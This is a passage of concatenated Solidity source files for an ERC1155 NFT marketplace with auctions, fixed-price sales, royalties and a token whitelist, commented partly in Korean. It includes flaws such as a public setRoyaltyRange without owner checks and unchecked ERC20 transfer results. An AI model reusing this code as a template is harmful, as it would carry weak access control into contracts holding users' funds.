function setFeeTo(address feeTo_) external onlyOwner {
require(feeTo_ != address(0),"NFTMarket/FeeTo_address_is_0");
_feeTo = feeTo_;
}
function getFeeTo() external view returns(address) {
return _feeTo;
}
/**
* @dev auction 연장 시간 설정 [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
_interval = interval_;
}
function getInterval() external view returns(uint256) {
return _interval;
}
/**
* @dev auction 시간 설정 [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : 판매시작, NFT escrow , SaleData 등록
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : 수량
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* 수량(volume) > 1 인 경우 fixed_price 만 가능
* 수량 > 0, 가격 > 0
* 결제 ERC20 contract : ERC20TokenList 중의 하나
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
if(volume > 1 && isAuction) {
revert("NFTMarket/if_volume_>_1,isAuction_should_be_false");
}
require(volume > 0,"NFTMarket/open_0_volume");
require(price > 0, "NFTMarket/open_0_price");
require(_erc20s.contains(erc20),"NFTMarket/open_erc20_not_registered");
if(isAuction) {
require(end > start,"NFTMarket/open_should_end_>_start");
}
_nftBase.safeTransferFrom(_msgSender(),address(this),nftId,volume,"");
id = ++_currentSalesId;
_sales[id].seller = _msgSender();
_sales[id].isAuction = isAuction;
_sales[id].nftId = nftId;
_sales[id].volume = volume;
_sales[id].erc20 = erc20;
_sales[id].price = price;
_sales[id].isCanceled = false;
_sales[id].isSettled = false;
if(isAuction) {
_sales[id].bid = price;
_sales[id].start = start;
_sales[id].end = end;
}
emit Open(id,_msgSender(),isAuction,nftId,volume,erc20,price,start,end);
}
/**
* @dev buy : 바로구매, 정산
* args
* id : saleId
* amt : 구매수량
* Requirements:
*
* auction이 아니고 (fixed_price 이어야)
* buyer가 확정되지 않아야 하고 (settle 되어지 않아야)
* 취소상태가 아니어야 함
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(!_sales[id].isAuction, "NFTMarket/sale_is_auction");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(!_sales[id].isSettled,"NFTMarket/sale_already_settled");
require(amt > 0,"NFTMarket/buy_must_>_0");
require(amt <= _sales[id].volume,"NFTMarket/buy_should_<=_sale_volume");
_sales[id].buyer = _msgSender();
settle(id,amt);
emit Buy(id,_msgSender(),amt);
}
/**
* @dev bid : 경매 참여, ERC20 Token escrow, 경매시간 연장
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* auction이고
* 취소상태가 아니고
* 경매 종료시간이 지나지 않아야 함
* bidding 금액이 기존 금액(첫 bidding인경우 seller가 제시한 금액)보다 커야함
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(_sales[id].isAuction, "NFTMarket/sale_should_be_auction");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(!_sales[id].isSettled,"NFTMarket/sale_already_settled");
require(block.timestamp >= _sales[id].start, "NFTMarket/auction_doesn't_start");
require(_sales[id].end >= block.timestamp, "NFTMarket/auction_finished");
require(amount > _sales[id].bid, "NFTMarket/bid_should_be_higher");
IERC20 erc20Token = IERC20(_sales[id].erc20);
erc20Token.transferFrom(_msgSender(),address(this),amount);
// not first bidding
if(_sales[id].buyer != address(0)) {
erc20Token.transfer(_sales[id].buyer,_sales[id].bid);
}
_sales[id].buyer = _msgSender();
_sales[id].bid = amount;
// auction end time increase
if(block.timestamp < _sales[id].end && _sales[id].end < block.timestamp + _interval)
_sales[id].end = _sales[id].end.add(_interval);
emit Bid(id,_msgSender(),amount,_sales[id].end);
}
/**
* @dev clear : 경매 정리, 정산
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* id가 존재해야 하고
* auction이고
* 취소상태가 아니고
* 아직 정산되지 않아야 하고
* 경매 종료시간이 지나야 하고
* caller는 sales[id].seller 이어야 함
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(_sales[id].isAuction, "NFTMarket/sale_should_be_auction");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(_sales[id].buyer != address(0), "NFTMarket/auction_not_bidded");
require(!_sales[id].isSettled,"NFTMarket/auction_already_settled");
require(_sales[id].end < block.timestamp, "NFTMarket/auction_ongoing");
require(_msgSender() == _sales[id].seller, "NFTMarket/only_seller_can_clear");
settle(id,1);
emit Clear(id);
}
/**
* @dev cancel : 세일 취소, escrow 반환
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
* id가 존재해야 하고
* 취소상태가 아니고
* 이미 정산되지 않아야 하고
* 경매의 경우 Bidder가 없어야
* caller는 sales[id].seller 이어야 함
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(!_sales[id].isSettled,"NFTMarket/sale_already_settled");
if (_sales[id].isAuction)
require(_sales[id].buyer == address(0), "NFTMarket/auction_not_cancellable");
require(_msgSender() == _sales[id].seller, "NFTMarket/only_seller_can_cancel");
_sales[id].isCanceled = true;
_nftBase.safeTransferFrom(address(this),_sales[id].seller,_sales[id].nftId,_sales[id].volume,"");
emit Cancel(id);
}
/**
* @dev settle : 정산
* 1. 수수료 정산 : this -> feeTo
* 2. royalty 정산 : this -> creator
* 3. nft 오너쉽 정리 : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
SaleData memory sd = _sales[id];
uint256 amount = sd.isAuction ? sd.bid : sd.price*amt;
uint256 fee = amount.mul(_feeRatio).div(100);
address creator = _nftBase.getCreator(sd.nftId);
uint256 royaltyRatio = _nftBase.getRoyaltyRatio(sd.nftId);
require(_feeRatio.add(royaltyRatio) <= 100, "NFTMarket/fee_+_royalty_>_100%");
uint256 royalty = amount.mul(royaltyRatio).div(100);
IERC20 erc20Token = IERC20(sd.erc20);
if(sd.isAuction) {
erc20Token.transfer(_feeTo,fee);
erc20Token.transfer(creator,royalty);
erc20Token.transfer(sd.seller,amount.sub(fee).sub(royalty));
} else {
erc20Token.transferFrom(_msgSender(),_feeTo,fee);
erc20Token.transferFrom(_msgSender(),creator,royalty);
erc20Token.transferFrom(_msgSender(),sd.seller,amount.sub(fee).sub(royalty));
}
_nftBase.safeTransferFrom(address(this),sd.buyer,sd.nftId,amt,"");
_sales[id].volume -= amt;
_sales[id].isSettled = (_sales[id].volume == 0);
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
require(_sales[id].isAuction,"NFTMarket/sale_should_be_auction");
return _sales[id].end;
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
SaleData memory sd = _sales[id];
return (
sd.seller
,sd.isAuction
,sd.nftId
,sd.volume
,sd.erc20
,sd.price
,sd.bid
,sd.buyer
,sd.start
,sd.end
,sd.isCanceled
,sd.isSettled
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./token/ERC1155.sol";
import "./access/AccessControl.sol";
import "./access/Ownable.sol";
import "./utils/Context.sol";
/**
*
* @dev Implementation of ERC1155 + NFT Token Data
*
* AccessControl
* DEFAULT_ADMIN_ROLE = 0
* 새로운 role 생성 될때마다 adminRole = 0 이된다.
* 따라서 자연스럽게 adminRole = DEFAULT_ADMIN_ROLE 이 된다.
*/
contract NFTBase is ERC1155, Ownable, AccessControl
{
string public name;
string public symbol;
bytes32 private constant MINTER_ROLE = keccak256("MINTER_ROLE"); //Role Id
struct TokenData {
uint256 supply; // NFT 공급량
string uri; // NFT url : json 화일
address creator; // 저작권자
uint256 royaltyRatio; // 로열티 100% = 100
}
mapping(uint256 => TokenData) private _tokens; // mapping from uint256 to nft token data
uint256 private _currentTokenId = 0; // 현재 tokenId
bool private _isPrivate = true; // private Mint 설정 - 오직 MINTER_ROLE 보유자만 가능
uint256 private _royaltyMinimum = 0; // 로열티 최소값
uint256 private _royaltyMaximum = 90; // 로열티 최대값
//event
event Mint(uint256 id,uint256 supply, string uri, address indexed creator, uint256 royaltyRatio);
/* keccak256
Mint(uint256,uint256,string,address,uint256) : 0x21881410541b694573587a7b14f2da71c815c0d7e24797822fe90249daaf884e
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
RoleGranted(bytes32,address,address) : 0x2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d
RoleRevoked(bytes32,address,address) : 0xf6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b
*/
constructor (string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
_setupRole(DEFAULT_ADMIN_ROLE,_msgSender()); //MINTER_ROLE Amin 설정
addWhiteList(_msgSender());
}
/**
* @dev setPrivateMarket : Private Market set
*
* Requirements:
*
* - 100% 이하
*/
function setPrivateMarket(bool isPrivate_) external onlyOwner {
_isPrivate = isPrivate_;
}
function getPrivateMarket() external view returns(bool) {
return _isPrivate;
}
/**
* @dev setRoyaltyRange : Royalty Range set
*
* Requirements:
*
* Royalty min <= Royalty max
* 0<= Royalty max <= 100
*/
function setRoyaltyRange(uint256 min,uint256 max) external {
require(max >= min,"NFTBase/should_be_(max >= min)");
require(max <= 100,"NFTBase/should_be_(max <= 100)");
_royaltyMinimum = min;
_royaltyMaximum = max;
}
function getRoyaltyRange() external view returns(uint256,uint256) {
return (_royaltyMinimum,_royaltyMaximum);
}
/**
* @dev addWhiteList : whitelist account add
*
* Requirements:
*
* MINTER_ROLE을 보유하고 있지 않은 address
* msg_sender가 DEFAULT_ADMIN_ROLE 보유해야
*
* Event : RoleGranted
*/
function addWhiteList(address minter) public {
require(!hasRole(MINTER_ROLE,minter),"NFTBase/minter_has_role_already");
grantRole(MINTER_ROLE,minter);
}
/**
* @dev removeWhiteList : whitelist account remove
*
* Requirements:
*
* MINTER_ROLE을 보유하고 있는 address
* DEFAULT_ADMIN_ROLE DEFAULT_ADMIN_ROLE 보유해야
*
* Event : RoleRevoked
*
*/
function removeWhiteList(address minter) external {
require(hasRole(MINTER_ROLE,minter),"NFTBase/minter_has_not_role");
revokeRole(MINTER_ROLE,minter);
}
/**
* @dev mint : NFT Token 발행
*
* Requirements:
*
* supply > 0, uri != "", creator != address(0)
* royalty : royalty Range안에
* Private Market의 경우 msg.seder는 MINTER_ROLE을 보유해야
*
* Event : TransferSingle
*/
/**
* Only incaseof private market, check if caller has a minter role
*/
function mint(uint256 supply, string memory uri, address creator, uint256 royaltyRatio) public returns(uint256 id) {
require(supply > 0,"NFTBase/supply_is_0");
require(!compareStrings(uri,""),"NFTBase/uri_is_empty");
require(creator != address(0),"NFTBase/createor_is_0_address");
require(_royaltyMinimum <= royaltyRatio && royaltyRatio <= _royaltyMaximum,"NFTBase/royalty_out_of_range");
if(_isPrivate)
require(hasRole(MINTER_ROLE,_msgSender()),"NFTBase/caller_has_not_minter_role");
id = ++_currentTokenId;
_tokens[id].supply = supply;
_tokens[id].uri = uri;
_tokens[id].creator = creator;
_tokens[id].royaltyRatio = royaltyRatio;
ERC1155._mint(_msgSender(),id,supply,""); // TransferSingle Event
emit Mint(id,supply,uri,creator,royaltyRatio);
}
/**
* @dev uri : NFT Token uri 조회 MI
*/
function uri(uint256 id) external view returns (string memory) {
return _tokens[id].uri;
}
/**
* @dev getCreator : NFT Creator조회
*/
function getCreator(uint256 id) external view returns (address) {
return _tokens[id].creator;
}
/**
* @dev getRoyaltyRatio : NFT RoyaltyRatio 조회
*/
function getRoyaltyRatio(uint256 id) external view returns (uint256) {
return _tokens[id].royaltyRatio;
}
/**
* @dev compareStrings : string을 암호화해서 비교
* Solidiy string 비교함수 제공하지 않음
*/
function compareStrings(string memory a, string memory b) private pure returns (bool) {
return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b))));
}
/**
* @dev getTokenData : TokenData Return
*/
function getTokenData(uint256 id) external view
returns(
uint256
,string memory
,address
,uint256)
{
TokenData memory td = _tokens[id];
return (
td.supply
,td.uri
,td.creator
,td.royaltyRatio
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./utils/Address.sol";
import "./access/Ownable.sol";
/**
*
* @dev 결제용 ERC20 Token List
*
*/
contract ERC20TokenList is Ownable {
using Address for address;
address[] private _addresses;
mapping (address => uint256) private _indexes; // 1-based 1,2,3.....
/**
* @dev contains : 기존 등록 여부 조회
*/
function contains(address addr) public view returns (bool) {
return _indexes[addr] != 0;
}
/**
* @dev addToken : ERC20 Token 추가
*
* Requirements:
*
* address Not 0 address
* 중복여부 확인
* address가 contract 인지 확인
*
*/
function addToken(address addr) public onlyOwner {
//console.log("address = %s",addr);
//console.log("contains = %s",contains(addr));
require(addr != address(0),"TokenList/address_is_0");
require(!contains(addr),"TokenList/address_already_exist");
require(addr.isContract(),"TokenList/address_is_not_contract");
_addresses.push(addr);
_indexes[addr] = _addresses.length;
}
/**
* @dev removeToken : ERC20 Token 삭제
*
* Requirements:
*
* 기존 존재여부 확인
* address가 contract 인지 확인
*
*/
function removeToken(address addr) public onlyOwner {
require(contains(addr),"TokenList/address_is_not_exist");
uint256 idx = _indexes[addr];
uint256 toDeleteIndex = idx - 1;
uint256 lastIndex = _addresses.length - 1;
address lastAddress = _addresses[lastIndex];
_addresses[toDeleteIndex] = lastAddress;
_indexes[lastAddress] = toDeleteIndex + 1;
_addresses.pop();
delete _indexes[addr];
}
/**
* @dev getAddressList : ERC20 Token List return
*
*/
function getAddressList() public view returns (address[] memory) {
return _addresses;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC1155.sol";
import "../introspection/ERC165.sol";
import "../math/SafeMath.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
*
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155 {
using SafeMath for uint256;
using Address for address;
// Mapping from token ID to account balances
mapping (uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping (address => mapping(address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e
* bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a
* bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6
*
* => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^
* 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26
*/
bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26;
/**
* @dev
*/
constructor () {
// register the supported interfaces to conform to ERC1155 via ERC165
_registerInterface(_INTERFACE_ID_ERC1155);
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Rbaequirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(
address[] memory accounts,
uint256[] memory ids
)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
